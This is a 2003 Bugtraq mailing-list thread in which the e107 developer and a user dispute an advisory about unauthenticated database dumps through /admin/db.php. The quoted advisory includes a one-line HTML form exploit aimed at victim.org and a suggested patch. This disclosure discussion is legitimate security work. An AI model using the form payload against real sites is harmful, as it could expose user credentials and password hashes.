bugtraq - Re: e107 website system Vulnerability

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Date: 25 Jul 2003 07:03:36 -0000
From: Steve Dunstan <jalist@...7.org>
To: bugtraq@...urityfocus.com
Subject: Re: e107 website system Vulnerability


In-Reply-To: <1059078080.10973.171.camel@...hn.sys.alabanza.com>

The db_dump code is protected against non-logged in users as are all 
admin functions. If a registered member with full admin permissions (not 
any admin, it -has- to be the main site admin who installed e107 in the 
first place) is not seen then the login page is displayed. This has 
always been the case, however if anyone is worried about this in any way 
delete the db.php file in your /admin directory and use phpMyAdmin or 
similar to perform database backups.

Steve Dunstan
[ jalist ]
[ jalist@...7.org ]



>Artoor,
>
>First off, I ask as a concerned party as I use this software quite a bit
>and for the fact that the vendor wasn't contacted before a 'High'
>severity issue was release to the wild.
>
>I'm currently unable to reproduce this at all.  When I try the exploit
>code as provided against e107 (version v0.551beta, not even the latest
>version) it takes me to the admin's login page, which doesn't appear to
>be a problem to me.  This report says all versions of e107, however as
>can be seen that is not the case.  The latest version (v0.555beta) does
>not have this vuln either (as I just upgraded my site to make sure it
>wasn't still present).  Did you by chance have 'Auto-Login' set for your
>admin user on the PC you were testing from, or were you authenticated to
>an e107 site as admin already without hitting 'Logout'?
>
>As I said, more info on this would be great since as far as I can tell
>this is a not an issue at all or I am just too dense to make the exploit
>work as described. 
>
>Thanks,
>Tim.
>
>On Thu, 2003-07-24 at 11:49, Artoor Petrovich wrote:
>> Informations :
>> 
>> 
>> Advisory Name: e107 website system Vulnerability
>> 
>> Author: hiruvim <artoor@...loyt.com>
>> 
>> Discover by: hiruvim <artoor@...loyt.com>
>> 
>> Website vendor : http://e107.org
>> 
>> Affected System(s): All versions
>> 
>> Severity: High
>> 
>> Platform(s): Windows and Unix
>> 
>> Issue: Security holes enable attackers to get MySQL dump file with
>> users and passwords.
>> 
>> ==================================================
>> Details:
>> 
>>  In file /admin/db.php
>> .......................
>> require_once("../class2.php");
>> 
>> if(IsSet($_POST['dump_sql'])){
>>         getsql($mySQLdefaultdb);
>>         exit;
>> }
>> 
>> [....]
>> require_once("auth.php");
>> 
>> .......................
>> 
>> We can do dump_sql without authorization.
>> 
>> Exploit:
>> 
>> <form action="http://victim.org/admin/db.php">
>> <input type=submit name="dump_sql">
>> </form>
>> 
>> When pressed submit query button we will get MySQL dump file.
>>  
>> In dump file we will find username and passwd MD5 hash.
>> 
>> With admin password we can get full site control and access to
>> FileManager.
>> 
>> 
>> 
>> Vendor: Not contacted yet.
>> 
>> Patch:
>> 
>> in /admin/db.php
>> 
>> Before doing anything you will need tomove "require_once("auth.php");"
>> to the top of the file.
>> 
>> Sorry for my poor english:)
>> 
>> ==============================
>> hiruvim <artoor@...loyt.com>
>> Original document can be fount at http://0x90.ipsec.ru/e107.txt
>> 
>
>